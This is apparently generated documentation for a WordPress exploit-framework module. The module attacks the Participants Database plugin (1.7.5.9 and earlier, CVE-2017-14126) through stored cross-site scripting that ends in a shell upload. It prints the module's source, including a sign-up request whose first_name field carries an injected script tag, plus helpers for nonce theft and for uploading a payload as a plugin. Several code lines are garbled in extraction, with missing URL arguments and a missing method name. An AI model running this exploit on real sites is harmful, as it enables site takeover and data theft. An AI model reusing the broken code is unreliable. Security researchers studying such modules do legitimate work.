Class: Wpxf::Exploit::ParticipantsDatabaseV1759XssShellUpload

Inherits:
Module
  • Object
show all
Includes:
WordPress::StoredXss
Defined in:
lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary collapse

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::StoredXss

#expected_status_code_after_store, #run, #store_script_and_validate

Methods included from WordPress::Xss

#on_http_request, #upload_shell, #wordpress_js_create_user, #xss_ascii_encoded_include_script, #xss_host, #xss_include_script, #xss_path, #xss_shell_success, #xss_url, #xss_url_and_ascii_encoded_include_script

Methods included from WordPress::Plugin

#fetch_plugin_upload_nonce, #generate_wordpress_plugin_header, #upload_payload_as_plugin, #upload_payload_as_plugin_and_execute, #upload_payload_using_plugin_form

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #on_http_request, #start_http_server, #stop_http_server

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #run, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ ParticipantsDatabaseV1759XssShellUpload

Returns a new instance of ParticipantsDatabaseV1759XssShellUpload.



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# File 'lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb', line 6

def initialize
  super

  update_info(
    name: 'Participants Database <= 1.7.5.9 XSS Shell Upload',
    author: [
      'Benjamin Lim', # Vulnerability discovery
      'rastating'     # WPXF module
    ],
    references: [
      ['CVE', '2017-14126'],
      ['WPVDB', '8896']
    ],
    date: 'Sep 06 2017'
  )

  register_options([
    StringOption.new(
      name: 'sign_up_path',
      desc: 'The relative path of the Participants Database sign up page',
      required: true
    )
  ])
end

Instance Attribute Details

#session_hash ⇒ Object

Returns the value of attribute session_hash.



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# File 'lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb', line 79

def session_hash
  @session_hash
end

Instance Method Details

#before_store ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb', line 48

def before_store
  self.session_hash = fetch_nonce

  if session_hash.nil?
    emit_error 'Failed to retrieve session hash / nonce'
    return false
  end

  true
end

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb', line 31

def check
  check_plugin_version_from_readme('participants-database', '1.7.5.10')
end

#fetch_nonce ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb', line 43

def fetch_nonce
  res = execute_get_request(url: )
  return res.body[/name="session_hash"\s+type="hidden"\s+value="([a-z0-9]+)"/i, 1] if res && res.code == 200
end

#sign_up_url ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb', line 39

def 
  normalize_uri(full_uri, datastore['sign_up_path'])
end

#store_script ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb', line 59

def store_script
  execute_post_request(
    url: ,
    body: {
      'action' => 'signup',
      'subsource' => 'participants-database',
      'shortcode_page=' => datastore['sign_up_path'],
      'thanks_page' => datastore['sign_up_path'],
      'instance_index' => '2',
      'pdb_data_keys' => '1.2.9.10',
      'session_hash' => session_hash,
      'first_name' => "<script>#{xss_include_script}</script>#{Wpxf::Utility::Text.rand_alpha(6)}",
      'last_name' => Wpxf::Utility::Text.rand_alpha(6),
      'email' => Wpxf::Utility::Text.rand_email,
      'mailing_list' => 'No',
      'submit_button' => 'Submit'
    }
  )
end

#vulnerable_page ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb', line 35

def vulnerable_page
  'the page containing the participant list'
end